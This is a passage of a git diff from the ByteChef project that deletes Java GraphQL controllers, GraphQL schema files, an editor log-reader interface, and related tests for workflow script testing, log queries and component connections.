-            .type()).isEqualTo(Double.class);
-    }
-
-    @Test
-    void testGetFieldsWithDateTimeTypes() {
-        List<Map<String, Object>> columns = List.of(
-            Map.of(NAME, "date_col", TYPE, "DATE"),
-            Map.of(NAME, "time_col", TYPE, "TIME"),
-            Map.of(NAME, "timestamp_col", TYPE, "TIMESTAMP"));
-
-        when(inputParameters.getList(eq(COLUMNS), any(TypeReference.class), eq(List.of()))).thenReturn(columns);
-
-        List<FieldDefinition> fields = jdbcItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .type()).isEqualTo(LocalDate.class);
-        assertThat(fields.get(1)
-            .type()).isEqualTo(LocalTime.class);
-        assertThat(fields.get(2)
-            .type()).isEqualTo(LocalDateTime.class);
-    }
-
-    @Test
-    void testGetFieldsWithUnknownTypeDefaultsToString() {
-        List<Map<String, Object>> columns = List.of(
-            Map.of(NAME, "unknown_col", TYPE, "UNKNOWN_TYPE"),
-            Map.of(NAME, "text_col", TYPE, "TEXT"));
-
-        when(inputParameters.getList(eq(COLUMNS), any(TypeReference.class), eq(List.of()))).thenReturn(columns);
-
-        List<FieldDefinition> fields = jdbcItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(2);
-        assertThat(fields.get(0)
-            .type()).isEqualTo(String.class);
-        assertThat(fields.get(1)
-            .type()).isEqualTo(String.class);
-    }
-
-    @Test
-    void testGetFieldsWithMissingTypeDefaultsToString() {
-        List<Map<String, Object>> columns = List.of(
-            Map.of(NAME, "col_without_type"));
-
-        when(inputParameters.getList(eq(COLUMNS), any(TypeReference.class), eq(List.of()))).thenReturn(columns);
-
-        List<FieldDefinition> fields = jdbcItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(1);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("col_without_type");
-        assertThat(fields.get(0)
-            .type()).isEqualTo(String.class);
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-api/src/main/java/com/bytechef/platform/configuration/log/EditorLogFileStorageReader.java b/server/libs/platform/platform-configuration/platform-configuration-api/src/main/java/com/bytechef/platform/configuration/log/EditorLogFileStorageReader.java
deleted file mode 100644
index 3a049e62004..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-api/src/main/java/com/bytechef/platform/configuration/log/EditorLogFileStorageReader.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.log;
-
-import com.bytechef.platform.component.log.LogFileStorageReader;
-
-/**
- * Interface for reading log files generated by the editor.
- *
- * @author Ivica Cardic
- */
-public interface EditorLogFileStorageReader extends LogFileStorageReader {
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/ComponentConnectionGraphQlController.java b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/ComponentConnectionGraphQlController.java
deleted file mode 100644
index eee01a73de2..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/ComponentConnectionGraphQlController.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.platform.configuration.domain.ComponentConnection;
-import com.bytechef.platform.configuration.facade.ComponentConnectionFacade;
-import java.util.List;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * Exposes ComponentConnection operations over GraphQL.
- *
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-public class ComponentConnectionGraphQlController {
-
-    private final ComponentConnectionFacade componentConnectionFacade;
-
-    public ComponentConnectionGraphQlController(ComponentConnectionFacade componentConnectionFacade) {
-        this.componentConnectionFacade = componentConnectionFacade;
-    }
-
-    @QueryMapping
-    List<ComponentConnection> clusterElementComponentConnections(
-        @Argument String workflowId, @Argument String workflowNodeName, @Argument String clusterElementType,
-        @Argument String clusterElementWorkflowNodeName) {
-
-        return componentConnectionFacade.getClusterElementComponentConnections(
-            workflowId, workflowNodeName, clusterElementType, clusterElementWorkflowNodeName);
-    }
-
-    @QueryMapping
-    List<ComponentConnection> workflowNodeComponentConnections(
-        @Argument String workflowId, @Argument String workflowNodeName) {
-
-        return componentConnectionFacade.getWorkflowNodeComponentConnections(workflowId, workflowNodeName);
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/EditorLogFileGraphQlController.java b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/EditorLogFileGraphQlController.java
deleted file mode 100644
index a53d40062fe..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/EditorLogFileGraphQlController.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.platform.component.log.domain.LogEntry;
-import com.bytechef.platform.component.log.web.graphql.LogFileGraphQlController.LogFilterInput;
-import com.bytechef.platform.component.log.web.graphql.LogFileGraphQlController.LogPage;
-import com.bytechef.platform.configuration.log.EditorLogFileStorageReader;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import java.util.Comparator;
-import java.util.List;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * GraphQL controller for querying and managing component execution logs used in editor/test environments.
- *
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-public class EditorLogFileGraphQlController {
-
-    private final EditorLogFileStorageReader editorLogFileStorageReader;
-
-    @SuppressFBWarnings("EI")
-    public EditorLogFileGraphQlController(EditorLogFileStorageReader editorLogFileStorageReader) {
-        this.editorLogFileStorageReader = editorLogFileStorageReader;
-    }
-
-    @QueryMapping
-    public LogPage editorJobFileLogs(
-        @Argument long jobId,
-        @Argument LogFilterInput filter,
-        @Argument Integer page,
-        @Argument Integer size) {
-
-        List<LogEntry> allEntries = editorLogFileStorageReader.readLogEntriesByJobId(jobId);
-
-        List<LogEntry> filteredEntries = applyFilters(allEntries, filter);
-
-        filteredEntries = filteredEntries.stream()
-            .sorted(Comparator.comparing(LogEntry::timestamp))
-            .toList();
-
-        int pageNumber = page != null ? page : 0;
-        int pageSize = size != null ? size : 100;
-        int start = pageNumber * pageSize;
-        int end = Math.min(start + pageSize, filteredEntries.size());
-
-        List<LogEntry> pageContent = start < filteredEntries.size()
-            ? filteredEntries.subList(start, end)
-            : List.of();
-
-        int totalPages = (int) Math.ceil((double) filteredEntries.size() / pageSize);
-
-        return new LogPage(
-            pageContent,
-            filteredEntries.size(),
-            totalPages,
-            pageNumber,
-            pageSize,
-            end < filteredEntries.size(),
-            pageNumber > 0);
-    }
-
-    @QueryMapping
-    public List<LogEntry> editorTaskExecutionFileLogs(@Argument long jobId, @Argument long taskExecutionId) {
-        return editorLogFileStorageReader.readLogEntries(jobId, taskExecutionId);
-    }
-
-    @QueryMapping
-    public boolean editorJobFileLogsExist(@Argument long jobId) {
-        return editorLogFileStorageReader.logsExist(jobId);
-    }
-
-    private List<LogEntry> applyFilters(List<LogEntry> entries, LogFilterInput filter) {
-        if (filter == null) {
-            return entries;
-        }
-
-        return entries.stream()
-            .filter(entry -> filter.minLevel() == null ||
-                entry.level()
-                    .isAtLeast(filter.minLevel()))
-            .filter(entry -> filter.componentName() == null ||
-                entry.componentName()
-                    .equals(filter.componentName()))
-            .filter(entry -> filter.taskExecutionId() == null ||
-                entry.taskExecutionId() == filter.taskExecutionId())
-            .filter(entry -> filter.fromTimestamp() == null ||
-                !entry.timestamp()
-                    .isBefore(Instant.parse(filter.fromTimestamp())))
-            .filter(entry -> filter.toTimestamp() == null ||
-                !entry.timestamp()
-                    .isAfter(Instant.parse(filter.toTimestamp())))
-            .filter(entry -> filter.searchText() == null ||
-                entry.message()
-                    .toLowerCase()
-                    .contains(filter.searchText()
-                        .toLowerCase()))
-            .toList();
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/WorkflowNodeScriptGraphQlController.java b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/WorkflowNodeScriptGraphQlController.java
deleted file mode 100644
index 40202541f84..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/WorkflowNodeScriptGraphQlController.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.platform.configuration.dto.ScriptTestExecutionDTO;
-import com.bytechef.platform.configuration.facade.WorkflowNodeScriptFacade;
-import java.util.Map;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * Exposes WorkflowNodeScript operations over GraphQL.
- *
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-public class WorkflowNodeScriptGraphQlController {
-
-    private final WorkflowNodeScriptFacade workflowNodeScriptFacade;
-
-    public WorkflowNodeScriptGraphQlController(WorkflowNodeScriptFacade workflowNodeScriptFacade) {
-        this.workflowNodeScriptFacade = workflowNodeScriptFacade;
-    }
-
-    @QueryMapping
-    Map<String, Object> clusterElementScriptInput(
-        @Argument String workflowId, @Argument String workflowNodeName, @Argument String clusterElementType,
-        @Argument String clusterElementWorkflowNodeName, @Argument Long environmentId) {
-
-        return workflowNodeScriptFacade.getClusterElementScriptInput(
-            workflowId, workflowNodeName, clusterElementType, clusterElementWorkflowNodeName, environmentId);
-    }
-
-    @MutationMapping
-    public ScriptTestExecutionDTO testClusterElementScript(
-        @Argument String workflowId, @Argument String workflowNodeName, @Argument String clusterElementType,
-        @Argument String clusterElementWorkflowNodeName, @Argument Long environmentId,
-        @Argument Map<String, Object> inputParameters) {
-
-        if (inputParameters != null) {
-            return workflowNodeScriptFacade.testClusterElementScript(
-                workflowId, workflowNodeName, clusterElementType, clusterElementWorkflowNodeName, environmentId,
-                inputParameters);
-        }
-
-        return workflowNodeScriptFacade.testClusterElementScript(
-            workflowId, workflowNodeName, clusterElementType, clusterElementWorkflowNodeName, environmentId);
-    }
-
-    @MutationMapping
-    public ScriptTestExecutionDTO testWorkflowNodeScript(
-        @Argument String workflowId, @Argument String workflowNodeName, @Argument Long environmentId,
-        @Argument Map<String, Object> inputParameters) {
-
-        if (inputParameters != null) {
-            return workflowNodeScriptFacade.testWorkflowNodeScript(
-                workflowId, workflowNodeName, environmentId, inputParameters);
-        }
-
-        return workflowNodeScriptFacade.testWorkflowNodeScript(workflowId, workflowNodeName, environmentId);
-    }
-
-    @QueryMapping
-    Map<String, Object> workflowNodeScriptInput(
-        @Argument String workflowId, @Argument String workflowNodeName, @Argument Long environmentId) {
-
-        return workflowNodeScriptFacade.getWorkflowNodeScriptInput(workflowId, workflowNodeName, environmentId);
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/WorkflowTestConfigurationGraphQlController.java b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/WorkflowTestConfigurationGraphQlController.java
deleted file mode 100644
index badb66e00f0..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/java/com/bytechef/platform/configuration/web/graphql/WorkflowTestConfigurationGraphQlController.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.platform.configuration.facade.WorkflowTestConfigurationFacade;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-class WorkflowTestConfigurationGraphQlController {
-
-    private final WorkflowTestConfigurationFacade workflowTestConfigurationFacade;
-
-    WorkflowTestConfigurationGraphQlController(WorkflowTestConfigurationFacade workflowTestConfigurationFacade) {
-        this.workflowTestConfigurationFacade = workflowTestConfigurationFacade;
-    }
-
-    @MutationMapping
-    boolean saveClusterElementTestConfigurationConnection(
-        @Argument String workflowId, @Argument String workflowNodeName, @Argument String clusterElementType,
-        @Argument String clusterElementWorkflowNodeName, @Argument String workflowConnectionKey,
-        @Argument long connectionId, @Argument long environmentId) {
-
-        workflowTestConfigurationFacade.saveClusterElementTestConfigurationConnection(
-            workflowId, workflowNodeName, clusterElementType, clusterElementWorkflowNodeName, workflowConnectionKey,
-            connectionId, environmentId);
-
-        return true;
-    }
-
-    @MutationMapping
-    boolean saveWorkflowTestConfigurationConnection(
-        @Argument String workflowId, @Argument String workflowNodeName, @Argument String workflowConnectionKey,
-        @Argument long connectionId, @Argument long environmentId) {
-
-        workflowTestConfigurationFacade.saveWorkflowTestConfigurationConnection(
-            workflowId, workflowNodeName, workflowConnectionKey, connectionId, environmentId);
-
-        return true;
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/component-connection.graphqls b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/component-connection.graphqls
deleted file mode 100644
index 923fb7e0996..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/component-connection.graphqls
+++ /dev/null
@@ -1,21 +0,0 @@
-extend type Query {
-    clusterElementComponentConnections(
-        workflowId: String!
-        workflowNodeName: String!
-        clusterElementType: String!
-        clusterElementWorkflowNodeName: String!
-    ): [ComponentConnection!]!
-
-    workflowNodeComponentConnections(
-        workflowId: String!
-        workflowNodeName: String!
-    ): [ComponentConnection!]!
-}
-
-type ComponentConnection {
-    componentName: String!
-    componentVersion: Int!
-    key: String!
-    required: Boolean!
-    workflowNodeName: String!
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/editor-component-log-file.graphqls b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/editor-component-log-file.graphqls
deleted file mode 100644
index cda60c0c10e..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/editor-component-log-file.graphqls
+++ /dev/null
@@ -1,5 +0,0 @@
-extend type Query {
-    editorJobFileLogs(jobId: ID!, filter: LogFilterInput, page: Int, size: Int): LogPage!
-    editorTaskExecutionFileLogs(jobId: ID!, taskExecutionId: ID!): [LogEntry!]!
-    editorJobFileLogsExist(jobId: ID!): Boolean!
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/script-test-execution.graphqls b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/script-test-execution.graphqls
deleted file mode 100644
index 1ae41aac1ca..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/script-test-execution.graphqls
+++ /dev/null
@@ -1,43 +0,0 @@
-extend type Query {
-    clusterElementScriptInput(
-        workflowId: String!
-        workflowNodeName: String!
-        clusterElementType: String!
-        clusterElementWorkflowNodeName: String!
-        environmentId: Long!
-    ): Map
-
-    workflowNodeScriptInput(
-        workflowId: String!
-        workflowNodeName: String!
-        environmentId: Long!
-    ): Map
-}
-
-extend type Mutation {
-    testClusterElementScript(
-        workflowId: String!
-        workflowNodeName: String!
-        clusterElementType: String!
-        clusterElementWorkflowNodeName: String!
-        environmentId: Long!
-        inputParameters: Map
-    ): ScriptTestExecution!
-
-    testWorkflowNodeScript(
-        workflowId: String!
-        workflowNodeName: String!
-        environmentId: Long!
-        inputParameters: Map
-    ): ScriptTestExecution!
-}
-
-type ScriptTestExecution {
-    error: ExecutionError
-    output: Map
-}
-
-type ExecutionError {
-    message: String
-    stackTrace: [String]
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/tag-input.graphqls b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/tag-input.graphqls
deleted file mode 100644
index e89aff980d8..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/tag-input.graphqls
+++ /dev/null
@@ -1,4 +0,0 @@
-input TagInput {
-    id: ID
-    name: String!
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/workflow-test-configuration.graphqls b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/workflow-test-configuration.graphqls
deleted file mode 100644
index e0b536edb07..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/main/resources/graphql/workflow-test-configuration.graphqls
+++ /dev/null
@@ -1,19 +0,0 @@
-extend type Mutation {
-    saveClusterElementTestConfigurationConnection(
-        workflowId: String!
-        workflowNodeName: String!
-        clusterElementType: String!
-        clusterElementWorkflowNodeName: String!
-        workflowConnectionKey: String!
-        connectionId: Long!
-        environmentId: Long!
-    ): Boolean
-
-    saveWorkflowTestConfigurationConnection(
-        workflowId: String!
-        workflowNodeName: String!
-        workflowConnectionKey: String!
-        connectionId: Long!
-        environmentId: Long!
-    ): Boolean
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/test/java/com/bytechef/platform/configuration/web/graphql/WorkflowNodeScriptGraphQlControllerIntTest.java b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/test/java/com/bytechef/platform/configuration/web/graphql/WorkflowNodeScriptGraphQlControllerIntTest.java
deleted file mode 100644
index d1192fb61ef..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/test/java/com/bytechef/platform/configuration/web/graphql/WorkflowNodeScriptGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,267 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.web.graphql;
-
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.error.ExecutionError;
-import com.bytechef.platform.configuration.dto.ScriptTestExecutionDTO;
-import com.bytechef.platform.configuration.facade.WorkflowNodeScriptFacade;
-import com.bytechef.platform.configuration.web.graphql.config.PlatformConfigurationGraphQlConfigurationSharedMocks;
-import com.bytechef.platform.configuration.web.graphql.config.PlatformConfigurationGraphQlTestConfiguration;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    PlatformConfigurationGraphQlTestConfiguration.class,
-    WorkflowNodeScriptGraphQlController.class
-})
-@GraphQlTest(
-    controllers = WorkflowNodeScriptGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "spring.graphql.schema.locations=classpath*:/graphql/"
-    })
-@PlatformConfigurationGraphQlConfigurationSharedMocks
-public class WorkflowNodeScriptGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private WorkflowNodeScriptFacade workflowNodeScriptFacade;
-
-    @Test
-    void testTestClusterElementScriptWithSuccessfulExecution() {
-        Map<String, Object> outputMap = Map.of("result", "test output", "count", 42);
-        ScriptTestExecutionDTO dto = new ScriptTestExecutionDTO(null, outputMap);
-
-        when(workflowNodeScriptFacade.testClusterElementScript(
-            anyString(), anyString(), anyString(), anyString(), anyLong())).thenReturn(dto);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    testClusterElementScript(
-                        workflowId: "workflow-123"
-                        workflowNodeName: "data-stream_1"
-                        clusterElementType: "PROCESSOR"
-                        clusterElementWorkflowNodeName: "script_1"
-                        environmentId: 1
-                    ) {
-                        error {
-                            message
-                            stackTrace
-                        }
-                        output
-                    }
-                }
-                """)
-            .execute()
-            .path("testClusterElementScript.error")
-            .valueIsNull()
-            .path("testClusterElementScript.output")
-            .entity(Map.class)
-            .satisfies(output -> {
-                assert output.get("result")
-                    .equals("test output");
-                assert output.get("count")
-                    .equals(42);
-            });
-    }
-
-    @Test
-    void testTestClusterElementScriptWithError() {
-        ExecutionError executionError = new ExecutionError(
-            "Script execution failed", List.of("at line 1", "at line 2"));
-        ScriptTestExecutionDTO dto = new ScriptTestExecutionDTO(executionError, null);
-
-        when(workflowNodeScriptFacade.testClusterElementScript(
-            anyString(), anyString(), anyString(), anyString(), anyLong())).thenReturn(dto);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    testClusterElementScript(
-                        workflowId: "workflow-123"
-                        workflowNodeName: "data-stream_1"
-                        clusterElementType: "PROCESSOR"
-                        clusterElementWorkflowNodeName: "script_1"
-                        environmentId: 1
-                    ) {
-                        error {
-                            message
-                            stackTrace
-                        }
-                        output
-                    }
-                }
-                """)
-            .execute()
-            .path("testClusterElementScript.error.message")
-            .entity(String.class)
-            .isEqualTo("Script execution failed")
-            .path("testClusterElementScript.error.stackTrace")
-            .entityList(String.class)
-            .hasSize(2)
-            .path("testClusterElementScript.output")
-            .valueIsNull();
-    }
-
-    @Test
-    void testTestClusterElementScriptWithNullOutput() {
-        ScriptTestExecutionDTO dto = new ScriptTestExecutionDTO(null, null);
-
-        when(workflowNodeScriptFacade.testClusterElementScript(
-            anyString(), anyString(), anyString(), anyString(), anyLong())).thenReturn(dto);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    testClusterElementScript(
-                        workflowId: "workflow-123"
-                        workflowNodeName: "data-stream_1"
-                        clusterElementType: "SOURCE"
-                        clusterElementWorkflowNodeName: "csv-file_1"
-                        environmentId: 2
-                    ) {
-                        error {
-                            message
-                        }
-                        output
-                    }
-                }
-                """)
-            .execute()
-            .path("testClusterElementScript.error")
-            .valueIsNull()
-            .path("testClusterElementScript.output")
-            .valueIsNull();
-    }
-
-    @Test
-    void testTestWorkflowNodeScriptWithSuccessfulExecution() {
-        Map<String, Object> outputMap = Map.of("result", "script output", "value", 100);
-        ScriptTestExecutionDTO dto = new ScriptTestExecutionDTO(null, outputMap);
-
-        when(workflowNodeScriptFacade.testWorkflowNodeScript(
-            anyString(), anyString(), anyLong())).thenReturn(dto);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    testWorkflowNodeScript(
-                        workflowId: "workflow-456"
-                        workflowNodeName: "script_1"
-                        environmentId: 1
-                    ) {
-                        error {
-                            message
-                            stackTrace
-                        }
-                        output
-                    }
-                }
-                """)
-            .execute()
-            .path("testWorkflowNodeScript.error")
-            .valueIsNull()
-            .path("testWorkflowNodeScript.output")
-            .entity(Map.class)
-            .satisfies(output -> {
-                assert output.get("result")
-                    .equals("script output");
-                assert output.get("value")
-                    .equals(100);
-            });
-    }
-
-    @Test
-    void testTestWorkflowNodeScriptWithError() {
-        ExecutionError executionError = new ExecutionError(
-            "Workflow script failed", List.of("at script line 5", "at script line 10"));
-        ScriptTestExecutionDTO dto = new ScriptTestExecutionDTO(executionError, null);
-
-        when(workflowNodeScriptFacade.testWorkflowNodeScript(
-            anyString(), anyString(), anyLong())).thenReturn(dto);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    testWorkflowNodeScript(
-                        workflowId: "workflow-456"
-                        workflowNodeName: "script_1"
-                        environmentId: 1
-                    ) {
-                        error {
-                            message
-                            stackTrace
-                        }
-                        output
-                    }
-                }
-                """)
-            .execute()
-            .path("testWorkflowNodeScript.error.message")
-            .entity(String.class)
-            .isEqualTo("Workflow script failed")
-            .path("testWorkflowNodeScript.error.stackTrace")
-            .entityList(String.class)
-            .hasSize(2)
-            .path("testWorkflowNodeScript.output")
-            .valueIsNull();
-    }
-
-    @Test
-    void testTestWorkflowNodeScriptWithNullOutput() {
-        ScriptTestExecutionDTO dto = new ScriptTestExecutionDTO(null, null);
-
-        when(workflowNodeScriptFacade.testWorkflowNodeScript(
-            anyString(), anyString(), anyLong())).thenReturn(dto);
-
-        this.graphQlTester
-            .document("""
-                mutation {
-                    testWorkflowNodeScript(
-                        workflowId: "workflow-456"
-                        workflowNodeName: "script_1"
-                        environmentId: 2
-                    ) {
-                        error {
-                            message
-                        }
-                        output
-                    }
-                }
-                """)
-            .execute()
-            .path("testWorkflowNodeScript.error")
-            .valueIsNull()
-            .path("testWorkflowNodeScript.output")
-            .valueIsNull();
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/test/java/com/bytechef/platform/configuration/web/graphql/config/PlatformConfigurationGraphQlConfigurationSharedMocks.java b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/test/java/com/bytechef/platform/configuration/web/graphql/config/PlatformConfigurationGraphQlConfigurationSharedMocks.java
deleted file mode 100644
index d1532a00253..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/test/java/com/bytechef/platform/configuration/web/graphql/config/PlatformConfigurationGraphQlConfigurationSharedMocks.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.web.graphql.config;
-
-import com.bytechef.platform.configuration.facade.WorkflowNodeScriptFacade;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import org.springframework.test.context.bean.override.mockito.MockitoBean;
-
-/**
- * @author Ivica Cardic
- */
-@Target(ElementType.TYPE)
-@Retention(RetentionPolicy.RUNTIME)
-@MockitoBean(types = {
-    WorkflowNodeScriptFacade.class
-})
-public @interface PlatformConfigurationGraphQlConfigurationSharedMocks {
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/test/java/com/bytechef/platform/configuration/web/graphql/config/PlatformConfigurationGraphQlTestConfiguration.java b/server/libs/platform/platform-configuration/platform-configuration-graphql/src/test/java/com/bytechef/platform/configuration/web/graphql/config/PlatformConfigurationGraphQlTestConfiguration.java
deleted file mode 100644
